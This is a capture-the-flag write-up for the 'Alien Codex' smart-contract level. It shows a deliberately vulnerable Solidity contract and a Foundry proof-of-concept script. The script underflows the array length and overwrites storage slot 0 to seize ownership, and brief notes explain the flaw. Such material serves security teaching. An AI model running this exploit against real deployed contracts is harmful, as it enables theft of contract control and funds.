Alien Codex
You’ve uncovered an Alien contract. Claim ownership to complete the level.
Things that might help
- Understanding how array storage works
- Understanding ABI specifications
- Using a very
underhanded
approach
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
Solution:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/console.sol";
interface AlienCodex {
function contact() external returns(bool);
function codex() external returns(bytes32[] memory);
function makeContact() external;
function retract() external;
function revise(uint i, bytes32 _content) external;
function owner() external returns(address);
}
contract POC is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address pubKey = vm.envAddress("PUBLIC_KEY");
address addr = vm.envAddress("INSTANCE_19");
vm.startBroadcast(deployerPrivateKey);
AlienCodex codex = AlienCodex(addr);
// codex array at slot 1 => first elt in the array at slot keccak256(1)
uint eltSlot = uint(keccak256(abi.encode(1)));
// owner address is stored on the first 20 bytes of slot 0
uint distanceFromSlot0 = type(uint).max - eltSlot;
codex.makeContact();
// length underflow; now codex is of length type(uint).max
// which allows us to reach every possible slot of the contract
codex.retract();
// write attacker's address at slot 0
codex.revise(distanceFromSlot0 + 1, bytes32(abi.encode(pubKey)));
console.logAddress(codex.owner());
vm.stopBroadcast();
}
}
This level exploits the fact that the EVM doesn’t validate an array’s ABI-encoded length vs its actual payload.
Additionally, it exploits the arithmetic underflow of array length,
by expanding the array’s bounds to the entire storage area of 2^256
. The user is then able to modify all contract storage.
Both vulnerabilities are inspired by 2017’s Underhanded coding contest